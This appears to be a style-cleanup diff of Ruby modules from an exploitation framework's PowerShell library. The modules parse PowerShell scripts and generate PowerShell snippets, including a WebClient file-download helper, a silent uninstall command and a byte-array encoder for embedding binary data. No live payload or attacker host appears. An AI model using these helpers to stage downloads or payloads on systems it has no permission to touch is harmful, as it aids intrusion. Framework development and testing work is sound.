||||||
|
'$FormatEnumerationLimit',
|
||||||
|
'$HOME',
|
||||||
|
'$Host',
|
||||||
|
'$input',
|
||||||
|
'$LASTEXITCODE',
|
||||||
|
'$MaximumAliasCount',
|
||||||
|
'$MaximumDriveCount',
|
||||||
|
'$MaximumErrorCount',
|
||||||
|
'$MaximumFunctionCount',
|
||||||
|
'$MaximumHistoryCount',
|
||||||
|
'$MaximumVariableCount',
|
||||||
|
'$MyInvocation',
|
||||||
|
'$NestedPromptLevel',
|
||||||
|
'$null',
|
||||||
|
'$OutputEncoding',
|
||||||
|
'$PID',
|
||||||
|
'$PROFILE',
|
||||||
|
'$ProgressPreference',
|
||||||
|
'$PSBoundParameters',
|
||||||
|
'$PSCulture',
|
||||||
|
'$PSEmailServer',
|
||||||
|
'$PSHOME',
|
||||||
|
'$PSSessionApplicationName',
|
||||||
|
'$PSSessionConfigurationName',
|
||||||
|
'$PSSessionOption',
|
||||||
|
'$PSUICulture',
|
||||||
|
'$PSVersionTable',
|
||||||
|
'$PWD',
|
||||||
|
'$ReportErrorShowExceptionClass',
|
||||||
|
'$ReportErrorShowInnerException',
|
||||||
|
'$ReportErrorShowSource',
|
||||||
|
'$ReportErrorShowStackTrace',
|
||||||
|
'$ShellId',
|
||||||
|
'$StackTrace',
|
||||||
|
'$true',
|
||||||
|
'$VerbosePreference',
|
||||||
|
'$WarningPreference',
|
||||||
|
'$WhatIfPreference'
|
||||||
|
].map(&:downcase).freeze
|
||||||
|
|
||||||
module Powershell
|
#
|
||||||
|
# Get variable names from code, removes reserved names from return
|
||||||
module Parser
|
#
|
||||||
# Reserved special variables
|
# @return [Array] variable names
|
||||||
# Acquired with: Get-Variable | Format-Table name, value -auto
|
def get_var_names
|
||||||
RESERVED_VARIABLE_NAMES = [
|
our_vars = code.scan(/\$[a-zA-Z\-\_0-9]+/).uniq.flatten.map(&:strip)
|
||||||
'$$',
|
our_vars.select { |v| !RESERVED_VARIABLE_NAMES.include?(v.downcase) }
|
||||||
'$?',
|
|
||||||
'$^',
|
|
||||||
'$_',
|
|
||||||
'$args',
|
|
||||||
'$ConfirmPreference',
|
|
||||||
'$ConsoleFileName',
|
|
||||||
'$DebugPreference',
|
|
||||||
'$Env',
|
|
||||||
'$Error',
|
|
||||||
'$ErrorActionPreference',
|
|
||||||
'$ErrorView',
|
|
||||||
'$ExecutionContext',
|
|
||||||
'$false',
|
|
||||||
'$FormatEnumerationLimit',
|
|
||||||
'$HOME',
|
|
||||||
'$Host',
|
|
||||||
'$input',
|
|
||||||
'$LASTEXITCODE',
|
|
||||||
'$MaximumAliasCount',
|
|
||||||
'$MaximumDriveCount',
|
|
||||||
'$MaximumErrorCount',
|
|
||||||
'$MaximumFunctionCount',
|
|
||||||
'$MaximumHistoryCount',
|
|
||||||
'$MaximumVariableCount',
|
|
||||||
'$MyInvocation',
|
|
||||||
'$NestedPromptLevel',
|
|
||||||
'$null',
|
|
||||||
'$OutputEncoding',
|
|
||||||
'$PID',
|
|
||||||
'$PROFILE',
|
|
||||||
'$ProgressPreference',
|
|
||||||
'$PSBoundParameters',
|
|
||||||
'$PSCulture',
|
|
||||||
'$PSEmailServer',
|
|
||||||
'$PSHOME',
|
|
||||||
'$PSSessionApplicationName',
|
|
||||||
'$PSSessionConfigurationName',
|
|
||||||
'$PSSessionOption',
|
|
||||||
'$PSUICulture',
|
|
||||||
'$PSVersionTable',
|
|
||||||
'$PWD',
|
|
||||||
'$ReportErrorShowExceptionClass',
|
|
||||||
'$ReportErrorShowInnerException',
|
|
||||||
'$ReportErrorShowSource',
|
|
||||||
'$ReportErrorShowStackTrace',
|
|
||||||
'$ShellId',
|
|
||||||
'$StackTrace',
|
|
||||||
'$true',
|
|
||||||
'$VerbosePreference',
|
|
||||||
'$WarningPreference',
|
|
||||||
'$WhatIfPreference'
|
|
||||||
].map(&:downcase).freeze
|
|
||||||
|
|
||||||
#
|
|
||||||
# Get variable names from code, removes reserved names from return
|
|
||||||
#
|
|
||||||
# @return [Array] variable names
|
|
||||||
def get_var_names
|
|
||||||
our_vars = code.scan(/\$[a-zA-Z\-\_0-9]+/).uniq.flatten.map(&:strip)
|
|
||||||
our_vars.select {|v| !RESERVED_VARIABLE_NAMES.include?(v.downcase)}
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
|
||||||
# Get function names from code
|
|
||||||
#
|
|
||||||
# @return [Array] function names
|
|
||||||
def get_func_names
|
|
||||||
code.scan(/function\s([a-zA-Z\-\_0-9]+)/).uniq.flatten
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
|
||||||
# Attempt to find string literals in PSH expression
|
|
||||||
#
|
|
||||||
# @return [Array] string literals
|
|
||||||
def get_string_literals
|
|
||||||
code.scan(/@"(.+?)"@|@'(.+?)'@/m)
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
|
||||||
# Scan code and return matches with index
|
|
||||||
#
|
|
||||||
# @param str [String] string to match in code
|
|
||||||
# @param source [String] source code to match, defaults to @code
|
|
||||||
#
|
|
||||||
# @return [Array[String,Integer]] matched items with index
|
|
||||||
def scan_with_index(str,source=code)
|
|
||||||
::Enumerator.new do |y|
|
|
||||||
source.scan(str) do
|
|
||||||
y << ::Regexp.last_match
|
|
||||||
end
|
end
|
||||||
end.map{|m| [m.to_s,m.offset(0)[0]]}
|
|
||||||
|
#
|
||||||
|
# Get function names from code
|
||||||
|
#
|
||||||
|
# @return [Array] function names
|
||||||
|
def get_func_names
|
||||||
|
code.scan(/function\s([a-zA-Z\-\_0-9]+)/).uniq.flatten
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Attempt to find string literals in PSH expression
|
||||||
|
#
|
||||||
|
# @return [Array] string literals
|
||||||
|
def get_string_literals
|
||||||
|
code.scan(/@"(.+?)"@|@'(.+?)'@/m)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Scan code and return matches with index
|
||||||
|
#
|
||||||
|
# @param str [String] string to match in code
|
||||||
|
# @param source [String] source code to match, defaults to @code
|
||||||
|
#
|
||||||
|
# @return [Array[String,Integer]] matched items with index
|
||||||
|
def scan_with_index(str, source = code)
|
||||||
|
::Enumerator.new do |y|
|
||||||
|
source.scan(str) do
|
||||||
|
y << ::Regexp.last_match
|
||||||
|
end
|
||||||
|
end.map { |m| [m.to_s, m.offset(0)[0]] }
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Return matching bracket type
|
||||||
|
#
|
||||||
|
# @param char [String] opening bracket character
|
||||||
|
#
|
||||||
|
# @return [String] matching closing bracket
|
||||||
|
def match_start(char)
|
||||||
|
case char
|
||||||
|
when '{'
|
||||||
|
'}'
|
||||||
|
when '('
|
||||||
|
')'
|
||||||
|
when '['
|
||||||
|
']'
|
||||||
|
when '<'
|
||||||
|
'>'
|
||||||
|
else
|
||||||
|
fail ArgumentError, 'Unknown starting bracket'
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Extract block of code inside brackets/parenthesis
|
||||||
|
#
|
||||||
|
# Attempts to match the bracket at idx, handling nesting manually
|
||||||
|
# Once the balanced matching bracket is found, all script content
|
||||||
|
# between idx and the index of the matching bracket is returned
|
||||||
|
#
|
||||||
|
# @param idx [Integer] index of opening bracket
|
||||||
|
#
|
||||||
|
# @return [String] content between matching brackets
|
||||||
|
def block_extract(idx)
|
||||||
|
fail ArgumentError unless idx
|
||||||
|
|
||||||
|
if idx < 0 || idx >= code.length
|
||||||
|
fail ArgumentError, 'Invalid index'
|
||||||
|
end
|
||||||
|
|
||||||
|
start = code[idx]
|
||||||
|
stop = match_start(start)
|
||||||
|
delims = scan_with_index(/#{Regexp.escape(start)}|#{Regexp.escape(stop)}/, code[idx + 1..-1])
|
||||||
|
delims.map { |x| x[1] = x[1] + idx + 1 }
|
||||||
|
c = 1
|
||||||
|
sidx = nil
|
||||||
|
# Go through delims till we balance, get idx
|
||||||
|
while (c != 0) && (x = delims.shift)
|
||||||
|
sidx = x[1]
|
||||||
|
x[0] == stop ? c -= 1 : c += 1
|
||||||
|
end
|
||||||
|
|
||||||
|
code[idx..sidx]
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Extract a block of function code
|
||||||
|
#
|
||||||
|
# @param func_name [String] function name
|
||||||
|
# @param delete [Boolean] delete the function from the code
|
||||||
|
#
|
||||||
|
# @return [String] function block
|
||||||
|
def get_func(func_name, delete = false)
|
||||||
|
start = code.index(func_name)
|
||||||
|
|
||||||
|
return nil unless start
|
||||||
|
|
||||||
|
idx = code[start..-1].index('{') + start
|
||||||
|
func_txt = block_extract(idx)
|
||||||
|
|
||||||
|
if delete
|
||||||
|
delete_code = code[0..idx]
|
||||||
|
delete_code << code[(idx + func_txt.length)..-1]
|
||||||
|
@code = delete_code
|
||||||
|
end
|
||||||
|
|
||||||
|
Function.new(func_name, func_txt)
|
||||||
|
end
|
||||||
|
end # Parser
|
||||||
end
|
end
|
||||||
|
end
|
||||||
#
|
|
||||||
# Return matching bracket type
|
|
||||||
#
|
|
||||||
# @param char [String] opening bracket character
|
|
||||||
#
|
|
||||||
# @return [String] matching closing bracket
|
|
||||||
def match_start(char)
|
|
||||||
case char
|
|
||||||
when '{'
|
|
||||||
'}'
|
|
||||||
when '('
|
|
||||||
')'
|
|
||||||
when '['
|
|
||||||
']'
|
|
||||||
when '<'
|
|
||||||
'>'
|
|
||||||
else
|
|
||||||
raise ArgumentError, "Unknown starting bracket"
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
|
||||||
# Extract block of code inside brackets/parenthesis
|
|
||||||
#
|
|
||||||
# Attempts to match the bracket at idx, handling nesting manually
|
|
||||||
# Once the balanced matching bracket is found, all script content
|
|
||||||
# between idx and the index of the matching bracket is returned
|
|
||||||
#
|
|
||||||
# @param idx [Integer] index of opening bracket
|
|
||||||
#
|
|
||||||
# @return [String] content between matching brackets
|
|
||||||
def block_extract(idx)
|
|
||||||
raise ArgumentError unless idx
|
|
||||||
|
|
||||||
if idx < 0 || idx >= code.length
|
|
||||||
raise ArgumentError, "Invalid index"
|
|
||||||
end
|
|
||||||
|
|
||||||
start = code[idx]
|
|
||||||
stop = match_start(start)
|
|
||||||
delims = scan_with_index(/#{Regexp.escape(start)}|#{Regexp.escape(stop)}/,code[idx+1..-1])
|
|
||||||
delims.map {|x| x[1] = x[1] + idx + 1}
|
|
||||||
c = 1
|
|
||||||
sidx = nil
|
|
||||||
# Go through delims till we balance, get idx
|
|
||||||
while ((c != 0) && (x = delims.shift)) do
|
|
||||||
sidx = x[1]
|
|
||||||
x[0] == stop ? c -=1 : c+=1
|
|
||||||
end
|
|
||||||
|
|
||||||
code[idx..sidx]
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
|
||||||
# Extract a block of function code
|
|
||||||
#
|
|
||||||
# @param func_name [String] function name
|
|
||||||
# @param delete [Boolean] delete the function from the code
|
|
||||||
#
|
|
||||||
# @return [String] function block
|
|
||||||
def get_func(func_name, delete = false)
|
|
||||||
start = code.index(func_name)
|
|
||||||
|
|
||||||
return nil unless start
|
|
||||||
|
|
||||||
idx = code[start..-1].index('{') + start
|
|
||||||
func_txt = block_extract(idx)
|
|
||||||
|
|
||||||
if delete
|
|
||||||
delete_code = code[0..idx]
|
|
||||||
delete_code << code[(idx+func_txt.length)..-1]
|
|
||||||
@code = delete_code
|
|
||||||
end
|
|
||||||
|
|
||||||
Function.new(func_name,func_txt)
|
|
||||||
end
|
|
||||||
end # Parser
|
|
||||||
|
|
||||||
end
|
end
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
|
@ -2,15 +2,12 @@
|
||||||
|
|
||||||
module Rex
|
module Rex
|
||||||
module Exploitation
|
module Exploitation
|
||||||
|
|
||||||
module Powershell
|
module Powershell
|
||||||
|
|
||||||
##
|
##
|
||||||
# Convenience methods for generating powershell code in Ruby
|
# Convenience methods for generating powershell code in Ruby
|
||||||
##
|
##
|
||||||
|
|
||||||
module PshMethods
|
module PshMethods
|
||||||
|
|
||||||
#
|
#
|
||||||
# Download file via .NET WebClient
|
# Download file via .NET WebClient
|
||||||
#
|
#
|
||||||
|
@ -20,7 +17,7 @@ module Powershell
|
||||||
# @return [String] Powershell code to download a file
|
# @return [String] Powershell code to download a file
|
||||||
def self.download(src, target)
|
def self.download(src, target)
|
||||||
target ||= '$pwd\\' << src.split('/').last
|
target ||= '$pwd\\' << src.split('/').last
|
||||||
return %Q^(new-object System.Net.WebClient).DownloadFile("#{src}", "#{target}")^
|
%Q^(new-object System.Net.WebClient).DownloadFile("#{src}", "#{target}")^
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
@ -31,9 +28,9 @@ module Powershell
|
||||||
# the application name
|
# the application name
|
||||||
#
|
#
|
||||||
# @return [String] Powershell code to uninstall an application
|
# @return [String] Powershell code to uninstall an application
|
||||||
def self.uninstall(app,fuzzy=true)
|
def self.uninstall(app, fuzzy = true)
|
||||||
match = fuzzy ? '-like' : '-eq'
|
match = fuzzy ? '-like' : '-eq'
|
||||||
return %Q^$app = Get-WmiObject -Class Win32_Product | Where-Object { $_.Name #{match} "#{app}" }; $app.Uninstall()^
|
%Q^$app = Get-WmiObject -Class Win32_Product | Where-Object { $_.Name #{match} "#{app}" }; $app.Uninstall()^
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
@ -43,7 +40,7 @@ module Powershell
|
||||||
#
|
#
|
||||||
# @return [String] Powershell code to create a SecureString
|
# @return [String] Powershell code to create a SecureString
|
||||||
def self.secure_string(str)
|
def self.secure_string(str)
|
||||||
return %Q^ConvertTo-SecureString -string '#{str}' -AsPlainText -Force$^
|
%Q(ConvertTo-SecureString -string '#{str}' -AsPlainText -Force$)
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
@ -54,7 +51,7 @@ module Powershell
|
||||||
# @return [String] Powershell code to identify the PID of a file
|
# @return [String] Powershell code to identify the PID of a file
|
||||||
# lock owner
|
# lock owner
|
||||||
def self.who_locked_file(filename)
|
def self.who_locked_file(filename)
|
||||||
return %Q^ Get-Process | foreach{$processVar = $_;$_.Modules | foreach{if($_.FileName -eq "#{filename}"){$processVar.Name + " PID:" + $processVar.id}}}^
|
%Q^ Get-Process | foreach{$processVar = $_;$_.Modules | foreach{if($_.FileName -eq "#{filename}"){$processVar.Name + " PID:" + $processVar.id}}}^
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
@ -65,11 +62,9 @@ module Powershell
|
||||||
# @return [String] Powershell code to return the last time of a user
|
# @return [String] Powershell code to return the last time of a user
|
||||||
# login
|
# login
|
||||||
def self.get_last_login(user)
|
def self.get_last_login(user)
|
||||||
return %Q^ Get-QADComputer -ComputerRole DomainController | foreach { (Get-QADUser -Service $_.Name -SamAccountName "#{user}").LastLogon} | Measure-Latest^
|
%Q^ Get-QADComputer -ComputerRole DomainController | foreach { (Get-QADUser -Service $_.Name -SamAccountName "#{user}").LastLogon} | Measure-Latest^
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -4,9 +4,7 @@ require 'rex'
|
||||||
|
|
||||||
module Rex
|
module Rex
|
||||||
module Exploitation
|
module Exploitation
|
||||||
|
|
||||||
module Powershell
|
module Powershell
|
||||||
|
|
||||||
class Script
|
class Script
|
||||||
attr_accessor :code
|
attr_accessor :code
|
||||||
attr_reader :functions, :rig
|
attr_reader :functions, :rig
|
||||||
|
@ -17,9 +15,9 @@ module Powershell
|
||||||
# Pretend we are actually a string
|
# Pretend we are actually a string
|
||||||
extend Forwardable
|
extend Forwardable
|
||||||
# In case someone messes with String we delegate based on its instance methods
|
# In case someone messes with String we delegate based on its instance methods
|
||||||
#eval %Q|def_delegators :@code, :#{::String.instance_methods[0..(String.instance_methods.index(:class)-1)].join(', :')}|
|
# eval %Q|def_delegators :@code, :#{::String.instance_methods[0..(String.instance_methods.index(:class)-1)].join(', :')}|
|
||||||
def_delegators :@code, :each_line, :strip, :chars, :intern, :chr, :casecmp, :ascii_only?, :<, :tr_s,
|
def_delegators :@code, :each_line, :strip, :chars, :intern, :chr, :casecmp, :ascii_only?, :<, :tr_s,
|
||||||
:!=, :capitalize!, :ljust, :to_r, :sum, :private_methods, :gsub,:dump, :match, :to_sym,
|
:!=, :capitalize!, :ljust, :to_r, :sum, :private_methods, :gsub, :dump, :match, :to_sym,
|
||||||
:enum_for, :display, :tr_s!, :freeze, :gsub, :split, :rindex, :<<, :<=>, :+, :lstrip!,
|
:enum_for, :display, :tr_s!, :freeze, :gsub, :split, :rindex, :<<, :<=>, :+, :lstrip!,
|
||||||
:encoding, :start_with?, :swapcase, :lstrip!, :encoding, :start_with?, :swapcase,
|
:encoding, :start_with?, :swapcase, :lstrip!, :encoding, :start_with?, :swapcase,
|
||||||
:each_byte, :lstrip, :codepoints, :insert, :getbyte, :swapcase!, :delete, :rjust, :>=,
|
:each_byte, :lstrip, :codepoints, :insert, :getbyte, :swapcase!, :delete, :rjust, :>=,
|
||||||
|
@ -29,13 +27,13 @@ module Powershell
|
||||||
:<=, :to_c, :slice!, :chomp!, :next!, :downcase, :unpack, :crypt, :partition,
|
:<=, :to_c, :slice!, :chomp!, :next!, :downcase, :unpack, :crypt, :partition,
|
||||||
:between?, :squeeze!, :to_s, :chomp, :bytes, :clear, :!~, :to_i, :valid_encoding?, :===,
|
:between?, :squeeze!, :to_s, :chomp, :bytes, :clear, :!~, :to_i, :valid_encoding?, :===,
|
||||||
:tr, :downcase!, :scan, :sub!, :each_codepoint, :reverse!, :class, :size, :empty?, :byteslice,
|
:tr, :downcase!, :scan, :sub!, :each_codepoint, :reverse!, :class, :size, :empty?, :byteslice,
|
||||||
:initialize_clone, :to_str, :to_enum,:tap, :tr!, :trust, :encode!, :sub, :oct, :succ, :index,
|
:initialize_clone, :to_str, :to_enum, :tap, :tr!, :trust, :encode!, :sub, :oct, :succ, :index,
|
||||||
:[]=, :encode, :*, :hex, :to_f, :strip!, :rpartition, :ord, :capitalize, :upto, :force_encoding,
|
:[]=, :encode, :*, :hex, :to_f, :strip!, :rpartition, :ord, :capitalize, :upto, :force_encoding,
|
||||||
:end_with?
|
:end_with?
|
||||||
|
|
||||||
def initialize(code)
|
def initialize(code)
|
||||||
@code = ''
|
@code = ''
|
||||||
@rig = Rex::RandomIdentifierGenerator.new()
|
@rig = Rex::RandomIdentifierGenerator.new
|
||||||
|
|
||||||
begin
|
begin
|
||||||
# Open code file for reading
|
# Open code file for reading
|
||||||
|
@ -50,10 +48,9 @@ module Powershell
|
||||||
# Treat code as a... code
|
# Treat code as a... code
|
||||||
@code = code.to_s.dup # in case we're eating another script
|
@code = code.to_s.dup # in case we're eating another script
|
||||||
end
|
end
|
||||||
@functions = get_func_names.map {|f| get_func(f)}
|
@functions = get_func_names.map { |f| get_func(f) }
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
##
|
##
|
||||||
# Class methods
|
# Class methods
|
||||||
##
|
##
|
||||||
|
@ -66,7 +63,7 @@ module Powershell
|
||||||
# @param var_name [String] Byte array variable name
|
# @param var_name [String] Byte array variable name
|
||||||
#
|
#
|
||||||
# @return [String] input_data as a powershell byte array
|
# @return [String] input_data as a powershell byte array
|
||||||
def self.to_byte_array(input_data,var_name = Rex::Text.rand_text_alpha(rand(3)+3))
|
def self.to_byte_array(input_data, var_name = Rex::Text.rand_text_alpha(rand(3) + 3))
|
||||||
# File will raise an exception if the path contains null byte
|
# File will raise an exception if the path contains null byte
|
||||||
if input_data.include? "\x00"
|
if input_data.include? "\x00"
|
||||||
code = input_data
|
code = input_data
|
||||||
|
@ -77,15 +74,15 @@ module Powershell
|
||||||
code = code.unpack('C*')
|
code = code.unpack('C*')
|
||||||
psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}"
|
psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}"
|
||||||
lines = []
|
lines = []
|
||||||
1.upto(code.length-1) do |byte|
|
1.upto(code.length - 1) do |byte|
|
||||||
if(byte % 10 == 0)
|
if (byte % 10 == 0)
|
||||||
lines.push "\r\n$#{var_name} += 0x#{code[byte].to_s(16)}"
|
lines.push "\r\n$#{var_name} += 0x#{code[byte].to_s(16)}"
|
||||||
else
|
else
|
||||||
lines.push ",0x#{code[byte].to_s(16)}"
|
lines.push ",0x#{code[byte].to_s(16)}"
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
return psh << lines.join("") + "\r\n"
|
psh << lines.join('') + "\r\n"
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
@ -93,11 +90,9 @@ module Powershell
|
||||||
#
|
#
|
||||||
# @return [Array] Code modifiers
|
# @return [Array] Code modifiers
|
||||||
def self.code_modifiers
|
def self.code_modifiers
|
||||||
self.instance_methods.select {|m| m =~ /^(strip|sub)/}
|
instance_methods.select { |m| m =~ /^(strip|sub)/ }
|
||||||
end
|
end
|
||||||
end # class Script
|
end # class Script
|
||||||
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue